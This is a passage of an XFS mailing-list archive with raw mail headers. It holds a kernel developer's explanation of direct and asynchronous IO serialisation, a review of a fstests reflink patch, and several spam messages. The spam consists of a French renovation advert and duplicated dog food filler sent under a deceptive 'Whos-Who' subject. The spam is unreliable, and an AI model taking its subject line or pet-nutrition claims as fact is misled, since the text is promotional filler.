Our IO should be always append IIRC, the above explains why most aio we do is truly async, but may be somewhere there is a reordering and then we see synchronous behaviour. Will have to check it. -- Gleb. From david@fromorbit.com Thu Oct 8 06:46:58 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 7C8CB7F37 for ; Thu, 8 Oct 2015 06:46:58 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 06D02AC00A for ; Thu, 8 Oct 2015 04:46:51 -0700 (PDT) X-ASG-Debug-ID: 1444304808-04bdf020dd3b370001-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id 0ZHHCYHDKmRdtPXU for ; Thu, 08 Oct 2015 04:46:49 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: A2D0QgBZVxZWPI9ELHlegyeBQoZbohIGixiLI4MTggp5BAICgU1NAQEBAQEBBwEBAQFBP0EBAwGDYAEBAQMBOhwjBQsIAxgJJQ8FJQMHGgoJiCYHwn4sGYYThD+BBoQ0AQ9JB4QuBZYIjQ+BX5FZhFmDb4R5KjOBW4FYgnABH4EpAQEB Received: from ppp121-44-68-143.lns20.syd4.internode.on.net (HELO dastard) ([121.44.68.143]) by ipmail04.adl6.internode.on.net with ESMTP; 08 Oct 2015 22:16:24 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1Zk9eQ-0006a1-Gg; Thu, 08 Oct 2015 22:46:22 +1100 Date: Thu, 8 Oct 2015 22:46:22 +1100 From: Dave Chinner To: Gleb Natapov Cc: Avi Kivity , Eric Sandeen , Brian Foster , xfs@oss.sgi.com Subject: Re: Question about non asynchronous aio calls. Message-ID: <20151008114622.GV27164@dastard> X-ASG-Orig-Subj: Re: Question about non asynchronous aio calls. References: <20151007141833.GB11716@scylladb.com> <56152B0F.2040809@sandeen.net> <20151007150833.GB30191@bfoster.bfoster> <56153685.3040401@sandeen.net> <561560B2.1080902@scylladb.com> <20151008042831.GU27164@dastard> <5615FD76.1090309@scylladb.com> <20151008082307.GE11716@scylladb.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20151008082307.GE11716@scylladb.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1444304808 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23302 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Thu, Oct 08, 2015 at 11:23:07AM +0300, Gleb Natapov wrote: > On Thu, Oct 08, 2015 at 08:21:58AM +0300, Avi Kivity wrote: > > >>>I fixed something similar in ext4 at the time, FWIW. > > >>Makes sense. > > >> > > >>Is there a way to relax this for reads? > > >The above mostly only applies to writes. Reads don't modify data so > > >racing unaligned reads against other reads won't given unexpected > > >results and so aren't serialised. > > > > > >i.e. serialisation will only occur when: > > > - unaligned write IO will serialise until sub-block zeroing > > > is complete. > > > - write IO extending EOF will serialis until post-EOF > > > zeroing is complete > > > > > > By "complete" here, do you mean that a call to truncate() returned, or that > > its results reached the disk an unknown time later? > > No, I'm talking purely about DIO here. If you do write that starts beyond the existing EOF, there is a region between the current EOF and the offset the write starts at. i.e. 0 EOF offset new EOF +dddddddddddddd+..............+nnnnnnnnnnn+ It is the region between EOF and offset that we must ensure is made up of either holes, unwritten extents or fully zeroed blocks before allowing the write to proceed. If we have to zero allocated blocks, then we have to ensure that completes before the write can start. This means that when we update the EOF on completion of the write, we don't expose stale data in blocks that were between EOF and offset... > I think Brian already answered that one with: > > There are no such pitfalls as far as I'm aware. The entire AIO > submission synchronization sequence triggers off an in-memory i_size > check in xfs_file_aio_write_checks(). The in-memory i_size is updated in > the truncate path (xfs_setattr_size()) via truncate_setsize(), so at > that point the new size should be visible to subsequent AIO writers. Different situation as truncate serialises all IO. Extending the file via truncate also runs the same "EOF zeroing" that the DIO code runs above, for the same reasons. > > > > - truncate/extent manipulation syscall is run > > > > Actually, we do call fallocate() ahead of io_submit() (in a worker thread, > > in non-overlapping ranges) to optimize file layout and also in the belief > > that it would reduce the amount of blocking io_submit() does. fallocate serialises all IO submission - including reads. Unlike truncate, however, it doesn't drain the queue of IO for preallocation so the impact on AIO is somewhat limited. Ideally you want to limit fallocate calls to large chunks at a time. If you have a 1:1 mapping of fallocate calls to write calls, then you're likely making things worse for the AIO submission path because you'll block reads as well as writes. Doing the allocation in the write submission path will not block reads, and only writes that are attempting to do concurrent allocations to the same file will serialise... If you want to limit fragmentation without adding and overhead on XFS for non-sparse files (which it sounds like your case), then the best thing to use in XFS is the per-inode extent size hints. You set it on the file when first creating it (or the parent directory so all children inherit it at create), and then the allocator will round out allocations to the size hint alignment and size, including beyond EOF so appending writes can take advantage of it.... > > A final point is discoverability. There is no way to discover safe > > alignment for reads and writes, and which operations block io_submit(), > > except by asking here, which cannot be done at runtime. Interfaces that > > provide a way to query these attributes are very important to us. > As Brian pointed statfs() can be use to get f_bsize which is defined as > "optimal transfer block size". Well, that's what posix calls it. It's not really the optimal IO size, though, it's just the IO size that avoids page cache RMW cycles. For direct IO, larger tends to be better, and IO aligned to the underlying geometry of the storage is even better. See, for example, the "largeio" mount option, which will make XFS report the stripe width in f_bsize rather than the PAGE_SIZE of the machine.... Cheers, Dave. -- Dave Chinner david@fromorbit.com From ari@tuxera.com Thu Oct 8 07:34:12 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 875CF7F37 for ; Thu, 8 Oct 2015 07:34:12 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id EB37C8F8033 for ; Thu, 8 Oct 2015 05:34:08 -0700 (PDT) X-ASG-Debug-ID: 1444307644-04bdf020dc3c630001-NocioJ Received: from mail.tuxera.com (mail.tuxera.com [5.250.163.136]) by cuda.sgi.com with ESMTP id 0OWNme0iihGoIhSe (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Thu, 08 Oct 2015 05:34:06 -0700 (PDT) X-Barracuda-Envelope-From: ari@tuxera.com X-Barracuda-Apparent-Source-IP: 5.250.163.136 Received: from localhost (localhost [127.0.0.1]) by mail.tuxera.com (Postfix) with ESMTP id 90A073C724A; Thu, 8 Oct 2015 15:34:03 +0300 (EEST) Received: from mail.tuxera.com ([127.0.0.1]) by localhost (mail.tuxera.com [127.0.0.1]) (amavisd-new, port 10032) with ESMTP id BiYuytrJj6kV; Thu, 8 Oct 2015 15:34:02 +0300 (EEST) Received: from localhost (localhost [127.0.0.1]) by mail.tuxera.com (Postfix) with ESMTP id 259083C7245; Thu, 8 Oct 2015 15:34:02 +0300 (EEST) X-Virus-Scanned: amavisd-new at Received: from mail.tuxera.com ([127.0.0.1]) by localhost (mail.tuxera.com [127.0.0.1]) (amavisd-new, port 10026) with ESMTP id b2QDz34wL9DO; Thu, 8 Oct 2015 15:34:02 +0300 (EEST) Received: from [192.168.75.230] (unknown [194.100.106.190]) by mail.tuxera.com (Postfix) with ESMTPSA id 01CB33C7242; Thu, 8 Oct 2015 15:34:02 +0300 (EEST) Message-ID: <1444307639.4004.17.camel@ari-lenovo> Subject: Re: [PATCH 03/12] generic/80[0-2]: support xfs in addition to btrfs From: Ari Sundholm X-ASG-Orig-Subj: Re: [PATCH 03/12] generic/80[0-2]: support xfs in addition to btrfs To: "Darrick J. Wong" Cc: "david@fromorbit.com" , "Anna.Schumaker@netapp.com" , "linux-ext4@vger.kernel.org" , "linux-btrfs@vger.kernel.org" , "fstests@vger.kernel.org" , "xfs@oss.sgi.com" Date: Thu, 08 Oct 2015 15:33:59 +0300 In-Reply-To: <9163f8156b2742a0b003ba9fa0a26258@nebula-exfe-01.nebula.local> References: <20151007051257.3260.73072.stgit@birch.djwong.org> <9163f8156b2742a0b003ba9fa0a26258@nebula-exfe-01.nebula.local> Organization: Tuxera Inc. Content-Type: text/plain; charset="UTF-8" X-Mailer: Evolution 3.10.4-0ubuntu2 Mime-Version: 1.0 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: mail.tuxera.com[5.250.163.136] X-Barracuda-Start-Time: 1444307646 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO, MARKETING_SUBJECT X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23303 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header On Wed, 2015-10-07 at 05:13 +0000, Darrick J. Wong wrote: > Modify the reflink tests to support xfs. > > Signed-off-by: Darrick J. Wong > --- > common/rc | 37 +++++++++++++++++++++++++++++++++++++ > tests/generic/800 | 2 +- > tests/generic/801 | 2 +- > tests/generic/802 | 2 +- > 4 files changed, 40 insertions(+), 3 deletions(-) > > > diff --git a/common/rc b/common/rc > index 3e97060..7e2f140 100644 > --- a/common/rc > +++ b/common/rc > @@ -1429,6 +1429,43 @@ _require_scratch_xfs_crc() > umount $SCRATCH_MNT > } > > +# this test requires the test fs support reflink... > +# > +_require_test_reflink() > +{ > + case $FSTYP in > + xfs) > + xfs_info "${TEST_DIR}" | grep reflink=1 -c -q || _notrun "Reflink not supported by this filesystem type: $FSTYP" > + ;; > + btrfs) > + true > + ;; > + *) > + _notrun "Reflink not supported by this filesystem type: $FSTYP" > + ;; > + esac > +} > + > +# this test requires the scratch fs support reflink... > +# > +_require_scratch_reflink() > +{ > + case $FSTYP in > + xfs) > + _scratch_mkfs > /dev/null 2>&1 > + _scratch_mount > + xfs_info "${TEST_DIR}" | grep reflink=1 -c -q || _notrun "$FSTYP does not support reflink" ${SCRATCH_MNT}? > + _scratch_unmount > + ;; > + btrfs) > + true > + ;; > + *) > + _notrun "Reflink not supported by this filesystem type: $FSTYP" > + ;; > + esac > +} > + > # this test requires the bigalloc feature to be available in mkfs.ext4 > # > _require_ext4_mkfs_bigalloc() > diff --git a/tests/generic/800 b/tests/generic/800 > index a71f11a..954f39d 100755 > --- a/tests/generic/800 > +++ b/tests/generic/800 > @@ -45,7 +45,7 @@ _cleanup() > . common/filter > > # real QA test starts here > -_supported_fs btrfs > +_require_test_reflink > _supported_os Linux > > _require_xfs_io_command "fiemap" > diff --git a/tests/generic/801 b/tests/generic/801 > index b21c44b..aedb6e9 100755 > --- a/tests/generic/801 > +++ b/tests/generic/801 > @@ -45,7 +45,7 @@ _cleanup() > . common/filter > > # real QA test starts here > -_supported_fs btrfs > +_require_test_reflink > _supported_os Linux > > _require_xfs_io_command "fiemap" > diff --git a/tests/generic/802 b/tests/generic/802 > index afd8513..51d3414 100755 > --- a/tests/generic/802 > +++ b/tests/generic/802 > @@ -43,7 +43,7 @@ _cleanup() > . ./common/filter > > # real QA test starts here > -_supported_fs btrfs > +_require_test_reflink > _supported_os Linux > > _require_xfs_io_command "fiemap" > > -- > To unsubscribe from this list: send the line "unsubscribe fstests" in > the body of a message to majordomo@vger.kernel.org > More majordomo info at http://vger.kernel.org/majordomo-info.html From 2kx_dhh.h57.1db@laurency.fr Thu Oct 8 07:36:19 2015 Return-Path: <2kx_dhh.h57.1db@laurency.fr> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: ** X-Spam-Status: No, score=2.2 required=5.0 tests=HTML_IMAGE_RATIO_02, HTML_MESSAGE,T_DKIM_INVALID autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 5D74F7F37 for ; Thu, 8 Oct 2015 07:36:19 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 4B32B8F8033 for ; Thu, 8 Oct 2015 05:36:19 -0700 (PDT) X-ASG-Debug-ID: 1444307773-04cb6c578639480001-NocioJ Received: from smtp-b25.md-connecting.com (smtp-b25.md-connecting.com [82.97.45.79]) by cuda.sgi.com with ESMTP id S03uM7KjF2ezMfEa for ; Thu, 08 Oct 2015 05:36:13 -0700 (PDT) X-Barracuda-Envelope-From: 2kx_dhh.h57.1db@laurency.fr X-Barracuda-Apparent-Source-IP: 82.97.45.79 DKIM-Signature: v=1; a=rsa-sha1; c=simple; d=laurency.fr; h=to:subject :date:from:reply-to:message-id:list-unsubscribe:mime-version :content-type; s=smtp4; bh=76KQD/ux8s7YcJHk7uGwNUuwm6A=; b=INlAo FmzlRv4eNASQ97owmbdiDHDinl7DY1u1/6mzQ05ckXHs/lJG83rEWrSK5nbHj8Rt 1DyGpX+3mKB7opPIyrvf6JJaGJZfbsRXUrPLKau/cdp8QuJomR+GNx67dXJp63AG KFAI/MHdplIJ9PrsDmEU3t2DUpQPAuzV0mbStQ= DomainKey-Signature: a=rsa-sha1; c=simple; d=laurency.fr; h=to:subject :date:from:reply-to:message-id:list-unsubscribe:mime-version :content-type; q=dns; s=smtp4; b=XRSJeJkhArKWJ5od//ESfgJTLz8OuY6 BdaZ0jou6l6yq3oaoXMzjZR9wrFtT0Rpl8FxtJbCzZn7touxTH1zQMUlxoP65zfP j5BxRLy2KXD3LokfZlTEgAGlGBMGYpvzjPlqcmM9b5xT17rSSx7AATYh3IW08v5A 6sci8NG07DT8= To: xfs Subject: =?utf-8?Q?Envie_de_changer_votre_int=C3=A9rieur=3F?= Date: Thu, 8 Oct 2015 14:36:07 +0200 X-ASG-Orig-Subj: =?utf-8?Q?Envie_de_changer_votre_int=C3=A9rieur=3F?= From: =?utf-8?Q?solution_travaux_int=C3=A9rieur?= Reply-to: =?utf-8?Q?solution_travaux_int=C3=A9rieur?= <2kx_dhh.h57.1db@laurency.fr> Precedence: Message-ID: List-Unsubscribe: X-campaign-id: 270_44 X-uid-id-m: eGZzQG9zcy5zZ2kuY29t=287 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="Part1_f45644deedad7d4c3df2564d1667a0cf" X-Barracuda-Connect: smtp-b25.md-connecting.com[82.97.45.79] X-Barracuda-Start-Time: 1444307773 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.55 X-Barracuda-Spam-Status: No, SCORE=0.55 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED, HTML_IMAGE_RATIO_02, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23302 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.55 HTML_IMAGE_RATIO_02 BODY: HTML has a low ratio of text to image area 0.00 HTML_MESSAGE BODY: HTML included in message --Part1_f45644deedad7d4c3df2564d1667a0cf Content-Type: text/plain; charset = "utf-8" Content-Transfer-Encoding: quoted-printable Pour visualiser et se d=C3=A9sabonner ce message, =20 Veuillez, copier puis coller, l'adresse URL compl=C3=A8te ci-dessous dans= la barre d'adresse de votre navigateur et appuyer sur la touche "Entr=C3=A9e= " de votre clavier. - - - - - - - - - - - - - - - - -=20 http://app.laurency.fr/v/?camp=3D270_44&ms=3DeGZzQG9zcy5zZ2kuY29t - - - - - - - - - - - - - - - - -=20 --Part1_f45644deedad7d4c3df2564d1667a0cf Content-Type: text/html; charset = "utf-8" Content-Transfer-Encoding: quoted-printable Envie de changer votre int=C3=A9rieur?

Si cet email ne s’affiche pas cor= rectement, suivez ce lien.

= = = =
=
3D"Logo Envie de changer votre intérieur ?<= /a>
3D"Photographie<= /a> 3D"image
3D"image 3D"photographie 3D"Photographie 3D"Photographie 3D"image 3D"image
Plomberie 3D"image
  PeintureRénovation Fenêtres - Vérandas   3D"spacer"=
=
3D"Bouton 3D"Bouton 3D=
3D"image
3D"Bouton 3D"image
3D"image 3D"image 3D"image =3D"image 3D"image 3D"image

3D=

Pour se désabonner : Suivez ce lien.
S= i ce message vous a causé un quelconque dérangement, nous v= ous prions de nous en excuser.

--Part1_f45644deedad7d4c3df2564d1667a0cf-- From ray-xfs=oss.sgi.com@turrettours.com Thu Oct 8 10:01:27 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=HTML_MESSAGE autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 208D17F37 for ; Thu, 8 Oct 2015 10:01:27 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 03E1D304053 for ; Thu, 8 Oct 2015 08:01:26 -0700 (PDT) X-ASG-Debug-ID: 1444316481-04cbb03f143fa60001-NocioJ Received: from zend.turrettours.com (zend.turrettours.com [107.161.164.108]) by cuda.sgi.com with ESMTP id 6LC9LrcJgO1Yl2yj for ; Thu, 08 Oct 2015 08:01:21 -0700 (PDT) X-Barracuda-Envelope-From: ray-xfs=oss.sgi.com@turrettours.com X-Barracuda-Apparent-Source-IP: 107.161.164.108 Received: by zend.turrettours.com id h2q2ka0001g4 for ; Thu, 8 Oct 2015 07:37:17 -0700 (envelope-from ) MIME-Version: 1.0 From: "Raymond M. Porter" To: xfs@oss.sgi.com Subject: You've been accept by Whos-Who. Date: Thu, 8 Oct 2015 07:37:17 -0700 X-ASG-Orig-Subj: You've been accept by Whos-Who. Content-Type: multipart/alternative; boundary="13393a248aba4c3cf3f0a3e9c79ac5" Message-ID: <0.0.0.6.1D101D6D484FD3A.3447982@zend.turrettours.com> X-Barracuda-Connect: zend.turrettours.com[107.161.164.108] X-Barracuda-Start-Time: 1444316481 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 1.50 X-Barracuda-Spam-Status: No, SCORE=1.50 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=ALL_NATURAL, BSF_SC0_MV0702, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23305 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 ALL_NATURAL BODY: Spam is 100% natural?! 0.00 HTML_MESSAGE BODY: HTML included in message 1.50 BSF_SC0_MV0702 Custom rule MV0702 --13393a248aba4c3cf3f0a3e9c79ac5 Content-Type: text/plain; Dog Food For Puppies-What Do They Need And Why A healthy and nutritious dog food for your puppy is more critical than an adult dog food is for an adult. A puppy's development and overall longevity is dependent on the proper balance of protein, fat and carbohydrates your dog is fed. Hopefully this article will be of great interest to you. We sincerely hope the following will be a great and simple aid to you in selecting the right dog food for your puppy. Why is it so essential that your puppy be fed such a food? Because when they are a puppy, it is mandatory that they get the nourishment and necessary vitamins, minerals and wholesome ingredients, during their process of maturing into adulthood. Their beginning years are formidable as they transcend into adulthood. Just like a new baby, their formula and proper administration of vitamins, minerals and nutrients, catapults a baby into a healthy adult. An adult with all the antibody's and necessary good things it needs to resist illnesses. Well, your puppy deserves the same treatment. A diet that has been specifically formulated to meet the needs of a puppy, as compared to an adult dog are higher in fat and protein. A puppy's life stage requires more protein and fats than does an adult dog, mainly, due to their overall energy and the fact that they grow so quickly. They need a puppy food that can fuel these needs while providing the proper nourishment as their digestive system breaks down their food very quickly. They have less time to fully absorb the nutrients through the normal process of digestion. This means that you have to become an earnest and knowledgeable label reader, carefully examining the ingredients used in the puppy food you may be considering. You must now be wondering how you are going to accomplish what seems to be a Herculean task, especially when you browse the isle at your super market or pet store. Just how will you know what the right ingredients are, and how valuable or harmful will they be to your puppy? The answer to this question is much easier to get than you think it is. Arm yourself with the proper guides and then take the time to read the ingredients listed on the label. Your task will be an easy one once you know what to avoid, and what your puppy really needs. As a rule of thumb, after ruling out the bad ingredients, all you have to do is find the proper balance in percentages, of protein, fat, and carbohydrates. Again, ruling out the bad ingredients is very, very easy. There are many articles available to demonstrate what to avoid. As good practice goes, find a food that has no more than 25% protein, and that the protein is easily digestible. When you read the list of ingredients, you will see which are the good protein sources, and which are the cheap and harmful bone meals offered by so many of the puppy food manufacturers of today. Also, remember to avoid fillers. They are just that, fillers, and are a waste of money and a non nutritional source for your puppy. In some cases, fillers may even cause gastric and digestive problems in your puppy. Look for products that meet the minimum necessary ingredients that your puppy needs. This would be a line of dog food that offers a wide variety of all natural, organic, raw dog meals all blended into a very healthy and nutritious diet. Would you eat food that was not of high quality and nutrition, of course not? So don't give your puppy this kind of food. Instead, the brands that manufacturer the kinds of products mentioned in this paragraph, usually follow a human grade and quality standards of care and processing. In short, they care as much for your pets welfare as you do. Well, almost. Remember to tailor, your puppy's life stages to its food. Their needs constantly change as they progress closer and closer to adulthood. A good meal, consists of carbohydrate's, vegetables, fruits and chicken and turkey free of grains. These are the kinds of diets that are highly recommended by veterinarians, and is what they generally feed their puppies. You will also find that a gluten free meal works very well for a puppy with a sensitive stomach. Again, remember to avoid the highly advertised and highly promoted commercial dog foods, unless, you have diligently checked the ingredients being used. If they are very low on nutrition and quality ingredients, then avoid these manufacturers as they are only interested in high company profits, and not the welfare of your dog. Don't despair, the task before you is really quite a simple one indeed. If you are armed with the free tools at my site, then trust me, your job will be a very easy one. I hope the information contained in this article, has been informational, meaningful, and helpful to you. It is my design, that you use this article in any way that you feel will benefit you. I only ask, that you don't plagiarize its content, and that you keep the author box and back link in tact. --13393a248aba4c3cf3f0a3e9c79ac5 Content-Type: text/html;

to unsubscribe go here








Dog Food For Puppies-What Do They Need And Why A healthy and nutritious dog food for your puppy is more critical than an adult dog food is for an adult. A puppy's development and overall longevity is dependent on the proper balance of protein, fat and carbohydrates your dog is fed. Hopefully this article will be of great interest to you. We sincerely hope the following will be a great and simple aid to you in selecting the right dog food for your puppy. Why is it so essential that your puppy be fed such a food? Because when they are a puppy, it is mandatory that they get the nourishment and necessary vitamins, minerals and wholesome ingredients, during their process of maturing into adulthood. Their beginning years are formidable as they transcend into adulthood. Just like a new baby, their formula and proper administration of vitamins, minerals and nutrients, catapults a baby into a healthy adult. An adult with all the antibody's and necessary good things it needs to resist illnesses. Well, your puppy deserves the same treatment. A diet that has been specifically formulated to meet the needs of a puppy, as compared to an adult dog are higher in fat and protein. A puppy's life stage requires more protein and fats than does an adult dog, mainly, due to their overall energy and the fact that they grow so quickly. They need a puppy food that can fuel these needs while providing the proper nourishment as their digestive system breaks down their food very quickly. They have less time to fully absorb the nutrients through the normal process of digestion. This means that you have to become an earnest and knowledgeable label reader, carefully examining the ingredients used in the puppy food you may be considering. You must now be wondering how you are going to accomplish what seems to be a Herculean task, especially when you browse the isle at your super market or pet store. Just how will you know what the right ingredients are, and how valuable or harmful will they be to your puppy? The answer to this question is much easier to get than you think it is. Arm yourself with the proper guides and then take the time to read the ingredients listed on the label. Your task will be an easy one once you know what to avoid, and what your puppy really needs. As a rule of thumb, after ruling out the bad ingredients, all you have to do is find the proper balance in percentages, of protein, fat, and carbohydrates. Again, ruling out the bad ingredients is very, very easy. There are many articles available to demonstrate what to avoid. As good practice goes, find a food that has no more than 25% protein, and that the protein is easily digestible. When you read the list of ingredients, you will see which are the good protein sources, and which are the cheap and harmful bone meals offered by so many of the puppy food manufacturers of today. Also, remember to avoid fillers. They are just that, fillers, and are a waste of money and a non nutritional source for your puppy. In some cases, fillers may even cause gastric and digestive problems in your puppy. Look for products that meet the minimum necessary ingredients that your puppy needs. This would be a line of dog food that offers a wide variety of all natural, organic, raw dog meals all blended into a very healthy and nutritious diet. Would you eat food that was not of high quality and nutrition, of course not? So don't give your puppy this kind of food. Instead, the brands that manufacturer the kinds of products mentioned in this paragraph, usually follow a human grade and quality standards of care and processing. In short, they care as much for your pets welfare as you do. Well, almost. Remember to tailor, your puppy's life stages to its food. Their needs constantly change as they progress closer and closer to adulthood. A good meal, consists of carbohydrate's, vegetables, fruits and chicken and turkey free of grains. These are the kinds of diets that are highly recommended by veterinarians, and is what they generally feed their puppies. You will also find that a gluten free meal works very well for a puppy with a sensitive stomach. Again, remember to avoid the highly advertised and highly promoted commercial dog foods, unless, you have diligently checked the ingredients being used. If they are very low on nutrition and quality ingredients, then avoid these manufacturers as they are only interested in high company profits, and not the welfare of your dog. Don't despair, the task before you is really quite a simple one indeed. If you are armed with the free tools at my site, then trust me, your job will be a very easy one. I hope the information contained in this article, has been informational, meaningful, and helpful to you. It is my design, that you use this article in any way that you feel will benefit you. I only ask, that you don't plagiarize its content, and that you keep the author box and back link in tact. --13393a248aba4c3cf3f0a3e9c79ac5-- From ray-xfs=oss.sgi.com@turrettours.com Thu Oct 8 10:01:32 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=HTML_MESSAGE autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 3CEE67F50 for ; Thu, 8 Oct 2015 10:01:32 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id B86E2AC007 for ; Thu, 8 Oct 2015 08:01:28 -0700 (PDT) X-ASG-Debug-ID: 1444316481-04cbb03f143fa60002-NocioJ Received: from zend.turrettours.com (zend.turrettours.com [107.161.164.108]) by cuda.sgi.com with ESMTP id JEWrEQVJyfmZpILw for ; Thu, 08 Oct 2015 08:01:26 -0700 (PDT) X-Barracuda-Envelope-From: ray-xfs=oss.sgi.com@turrettours.com X-Barracuda-Apparent-Source-IP: 107.161.164.108 Received: by zend.turrettours.com id h2q2ke0001g0 for ; Thu, 8 Oct 2015 07:49:36 -0700 (envelope-from ) MIME-Version: 1.0 From: "Raymond M. Porter" To: xfs@oss.sgi.com Subject: You've been accept by Whos-Who. Date: Thu, 8 Oct 2015 07:49:36 -0700 X-ASG-Orig-Subj: You've been accept by Whos-Who. Content-Type: multipart/alternative; boundary="077b84ff5ddfc4c73181126930a30e" Message-ID: <0.0.0.62.1D101D88D4C9520.AF1807E@zend.turrettours.com> X-Barracuda-Connect: zend.turrettours.com[107.161.164.108] X-Barracuda-Start-Time: 1444316485 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 1.50 X-Barracuda-Spam-Status: No, SCORE=1.50 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=ALL_NATURAL, BSF_SC0_MV0702, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23305 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 ALL_NATURAL BODY: Spam is 100% natural?! 0.00 HTML_MESSAGE BODY: HTML included in message 1.50 BSF_SC0_MV0702 Custom rule MV0702 --077b84ff5ddfc4c73181126930a30e Content-Type: text/plain; Dog Food For Puppies-What Do They Need And Why A healthy and nutritious dog food for your puppy is more critical than an adult dog food is for an adult. A puppy's development and overall longevity is dependent on the proper balance of protein, fat and carbohydrates your dog is fed. Hopefully this article will be of great interest to you. We sincerely hope the following will be a great and simple aid to you in selecting the right dog food for your puppy. Why is it so essential that your puppy be fed such a food? Because when they are a puppy, it is mandatory that they get the nourishment and necessary vitamins, minerals and wholesome ingredients, during their process of maturing into adulthood. Their beginning years are formidable as they transcend into 